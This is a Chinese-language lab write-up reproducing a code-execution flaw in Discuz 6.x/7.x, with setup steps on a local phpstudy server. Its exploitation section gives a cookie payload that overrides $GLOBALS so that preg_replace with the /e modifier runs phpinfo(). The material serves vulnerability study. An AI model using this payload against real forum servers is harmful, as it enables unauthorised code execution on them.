Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)

Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现

闲谈:

其实自己做个不少漏洞复现,但是一直没好意思发,后来我发现了,不发出来我写他干嘛?(反正也没人看)

0x00 漏洞概述:

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致REQUEST_REQUEST中不再包含_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

0x01 前置条件:

php版本:php5.3.x php5.6.x
(经测试php5.2.x php7 均复现失败)

0x02 影响版本:

Discuz 6.x
Discuz 7.x

0x03 环境搭建:

靶机:Windows10专业版1903 phpstudy_pro php5.6.9nts Mysql5.7.26 Apache2.4.39 UCenter1.5.0 Discuz7.2
攻击机:kali2020 burp 火狐浏览器

环境搭建:
安装UCenter1.5.0:
将下载的UCenter1.5.0压缩包中得upload文件夹解压到网站根目录下,访问127.0.0.1/UCenter_1.5.0_SC_UTF8/upload/install,安装步骤如图0-图3所示:
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图0
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图1

Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图2
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图3

安装Discuz7.2:
将下载的Discuz7.2压缩包中得upload文件夹解压到网站根目录下,访问127.0.0.1/Discuz7.2/upload/install ,安装步骤如图4-图7所示:
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图4
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图5
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图6
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图7
数据库信息必须是已经存在的,安装完成。

0x04 漏洞利用:
访问一个已经存在的帖子,用burp抓包,并且在cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 如图8所示:
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图8

返回结果如下图9:
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图9
可见执行成功。

附录:

1:127.0.0.1/Discuz7.2/upload/install 页面空白,无法出现安装引导:
打开config.inc.php文件,将dbuserrootdbuser的值均设置为root,dbpw的值设为123456,$dbname设为root (phpstudy数据库名称,账号,密码)如图10:
Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)
图10